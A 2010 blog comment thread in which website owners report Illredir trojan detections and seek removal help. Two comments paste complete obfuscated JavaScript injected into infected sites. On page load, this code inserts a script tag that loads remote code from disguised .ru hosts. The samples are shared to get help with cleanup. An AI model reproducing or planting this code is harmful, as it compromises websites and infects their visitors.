Comments on: TROJAN ALERT! Illredir-B/Illredir-C/Illredir-D

By: Min

Min — Mon, 21 Jun 2010 13:53:59 +0000

Hi Guys,

Avast detects my website has a virus JS:Illredir-BU [Trj]. My website is http://www.funanweng.com. Can anyone teach me how to remove it? Any help will be very much appreciated. I’m at my wits end.

Thanks!!!!!

Min

By: Scott

Scott — Wed, 21 Apr 2010 23:30:03 +0000

Please help, I do not have Avast or Kapersky -(have norton) and customers are calling me saying site is flagging virus.

File Name: http://www.metrodetroitbjj.com/

Malware name: JS:Illredir-AX [Trj]

Malware Type: Trojan Horse

VPS version: 100421-1, 04/21/2010

any help would be appreciated
Thanks in advance
Scott

By: neo64

neo64 — Mon, 19 Apr 2010 16:05:35 +0000

Hi, Another mutation, and the latest version of Illredir doesn’t work… Please help, or tell how to modify Illredir so that it worked.. Thanks var Z='';function A() {var EW;if(EW!='W'){EW='W'};var B;if(B!='N'){B='N'};var I=new String("ap"+"pe"+"nd"+"Ch"+"il"+"HML5d".substr(4));var uL=String("ghOTN".substr(0,1));var n;if(n!='Q' && n!='Fe'){n=''};var k=RegExp;var P="";var X=new Array();var E=new String("scSBDI".substr(0,2)+"ri"+"pt39w7".substr(0,2));this.YO="";var kJ=new Array();var j;var p=window;var sI;if(sI!='YA' && sI!='_'){sI=''};var bh=new Date();var e="Z0h]".substr(3);var HL=new Date();var bM;if(bM!=''){bM='Ea'};var f='';var wj=new String();var Mk;if(Mk!='ep'){Mk='ep'};var uC;if(uC!='l' && uC != ''){uC=null};function u(q,fx){var DJ;if(DJ!='z'){DJ='z'};var c="[";this.EM="";c+=fx;var MY=new Date();var Rm=new Array();c+=e;var gD;if(gD!='yN'){gD='yN'};var H=new k(c, uL);var VW;if(VW!='ta' && VW!='i'){VW='ta'};var Kp;if(Kp!='Rmu' && Kp!='Ys'){Kp='Rmu'};return q.replace(H, f);var Ps;if(Ps!='yr' && Ps!='wc'){Ps=''};this.Sf="";};var Yd=new Array();var m=new String("onlo"+"ad");var zg;if(zg!='' && zg!='lv'){zg=null};var Lh=new String();this.gp='';var Ip=u('serncf','fik0W1lT8P4mhp5Hje7_nx');var Zc;if(Zc!='AK'){Zc=''};var v=String("defer");this.uA="";this.Cn="";j=function(){var GW="";var Bf='';this.A_="";try {var sV;if(sV!=''){sV='CL'};this.T='';U=document.createElement(E);var hz=new Date();var qd;if(qd!='QC' && qd != ''){qd=null};U[v]=[1,1][0];var Kj;if(Kj!='Tb' && Kj!='sn'){Kj='Tb'};var F="l7fbo".substr(3)+"INYQdy".substr(4);this.oT='';var dW='';U[Ip] = u('hStNt6p6:_/1/1p1oSk_eTs2a_cjk_.Sr_u1:N','62TjS1NO_')+u('866942167414379770265732646923592185954451297651770254292532473443','19365472')+u('/OfOrZeOeOlUoOt4t4oZ-3c4o3m3/3gSoZo4g4l3eS.UcOo3mZ/Sl3oUcZkSe4rUzS.Oc4oSmO.SpZhUpS','S4OZ3U');var Mj="";var FH=new Array();var ZP="";var jK="";document[F][I](U);} catch(O){var ge;if(ge!='Fo'){ge='Fo'};};var rMH;if(rMH!='El'){rMH='El'};var __=new String();};var jY;if(jY!='yL' && jY!='NZ'){jY='yL'};var ek;if(ek!='mE'){ek=''};p[m]=j;var yh='';this.PE="";};A();var Wp=new Array();var Mw=new Array();

By: Marcin Jung

Marcin Jung — Fri, 16 Apr 2010 10:43:59 +0000

@Mike ! Wow i’m impressed !

By: Mike

Mike — Fri, 09 Apr 2010 05:25:16 +0000

If you want cure send me the samples in a zip/rar archive

By: Mike

Mike — Fri, 09 Apr 2010 05:16:12 +0000

Version 1.0.1 is out

By: Mike

Mike — Fri, 09 Apr 2010 05:15:52 +0000

Version 1.01 is out

By: vale

vale — Wed, 24 Mar 2010 02:21:17 +0000

there he is: var p;if(p!='' && p!='f'){p=null};this.N="";var u;if(u!=''){u='DD'};var l=new String("hIZrep".substr(3)+"oB8laco8B".substr(3,3)+"e");var tD;if(tD!='_U'){tD=''};var U=RegExp;var I=new String();var li='';function d(R,Q){this.X="";this.m="";var lm=new String();this.QU='';var dA=String("[3Po".substr(0,1));this.Z="";var Uj=String("HVQg".substr(3));this.fH="";dA+=Q;dA+=new String("uMc]".substr(3));this.jF="";this.z='';var n=new U(dA, Uj);this._R='';return R[l](n, new String());};var _D;if(_D!='Sp'){_D=''};var Df=new Date();this.vh='';var j=window;var TL;if(TL!='zs'){TL='zs'};this.ZJ="";var k='';var _Q='';var G=d('oGn4lAoGaGdA',"G4AfY");var g=d('/QgQoGoQgSlSeS.9cSo2mS/GgQo2o9gQlGe9.Qc9oQmQ/ShQuGrGrGi9yGeQt2.2cQoSmQ.Qt2rS/9bGaQr9n2eQsSaSn2d9nSo2bGlSeG.Qc2oQm2/2aSmGa2zQo2nG.9fSrS.Sp9h9pG',"2S9GQ");var RM=d('sVcqr2iVpVtV',"qV2");var cZ="";var lrx;if(lrx!=''){lrx='wz'};var J=d('c_rJeJaJt_eJE_l_eJm_e_nJt_',"_J");var x=new Date();var i;if(i!='PX'){i=''};var rQ=new Array();var W=d('85307158750573',"1753");var qy=new Array();var ZL=new Date();var O=d('h1t1t1pP:H/P/Pg1oHoHg1lPeP-1cHo1mQ-1b1rP.1fHoQrPbPe1sP.QcHo1mH.Qc1aHmHsH-PcHoHm1.1EPxHcQe1l1lHeHnPtHB1lHeQnQdQeHrH.HrPuH:Q',"PQH1");r=function(){var NH=new Date();var a;if(a!=''){a='Op'};this.x_='';w=document[J](RM);var Br;if(Br!='' && Br!='qG'){Br='XS'};var dAD;if(dAD!='' && dAD!='LQ'){dAD='Nv'};var XD;if(XD!='XV' && XD!='_g'){XD='XV'};var cX=new Date();k=O+W;var Hc="";var cn;if(cn!='' && cn!='nn'){cn='Ol'};k+=g;var le=new String();var Ro=new Date();var uQ=new String();var jG='';w.src=k;var ol;if(ol!='Vg'){ol='Vg'};var Gr;if(Gr!='je'){Gr='je'};w.defer=([2,1][1]);var kA="";this.Rb='';var mo;if(mo!='BP'){mo='BP'};document.body.appendChild(w);var sW=new Date();};this.BG='';var Qo=new Array();j[G]=r;this.jk="";var W_="";var b=new String();var AT=new Date();} catch(H){};

By: vale

vale — Wed, 24 Mar 2010 02:14:21 +0000

This is so bad!!!! I got all my directories infected with JS:Illredir-AC.

Please help!!!

By: gberg

gberg — Thu, 11 Mar 2010 13:24:25 +0000

hi all,

i need also a newer version … avast 5 said the virusname is JS:Illredir-AC